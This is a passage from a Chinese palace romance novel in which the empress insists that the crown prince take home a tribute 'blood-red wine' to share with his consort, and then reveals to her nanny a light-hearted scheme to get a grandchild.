“前些日子外蕃进贡了些血红酒,听说珍贵异常,我跟你父皇喝不惯,放在那里也可惜了。不如皇儿带些回去,有空时候就跟奉仪一起小酌几杯?不知奉仪那孩子能不能喝得惯?” “母后还是自己留着吧,东宫尚有些陈年老酒,奉仪酒量很浅一杯就倒,估计喝不来这种血红酒”。 他并不清楚梁含章酒量如何,但料想她贫苦出身,怕是没什么机会碰到酒,应是不胜酒力。故而如此说以便推辞王皇后的赏赐。 “酒量浅也没关系,这血红酒对身体大有裨益,奉仪身子如此羸弱,如今天气变化万千,合该喝些酒好暖暖身子”。 王皇后语气强势,立马拔高声调喊宋嬷嬷:“嬷嬷,去装些血红酒给太子带回去!” 宋嬷嬷听到吩咐马上安排,李琤还未来得及拒绝,对方已经用檀木盒装好放到李福手中了。 太子:“……好吧,既如此,儿臣恭敬不如从命”。 “母后知你公务繁忙,就不打扰你了,看你脸上不好怕是昨晚没休息好,回去好好睡一觉吧”。王皇后摆摆手,声音洪亮有力,没了方才的虚弱,眼神还带着几丝狡黠。 李琤侧身看着血红酒没注意,片刻后方行礼告退。 “血红酒是个好东西,皇儿记得跟奉仪一起喝啊!”皇后忍不住叮嘱。 “儿臣知晓”。 等一胖一瘦两个身影彻底消失在转角,皇后已从榻上起身,脸上挂满笑容。 “想来娘娘不久就能听到好消息了!”宋嬷嬷知道事情底细,在一旁笑道。 “哎,琤儿不近女色,只好辛苦我这个当娘亲的。昨日瑜哥儿进宫来看我了,三岁的小儿白白胖胖的惹人怜爱,本宫也想抱孙子啊”。王皇后状似苦恼。 再者,储君是国之根本,若是太子迟迟未有子嗣,朝野上下必定会议论纷纷。 她这也是为国家大事着想,王皇后悠闲抚摸着茶盏,不由得想。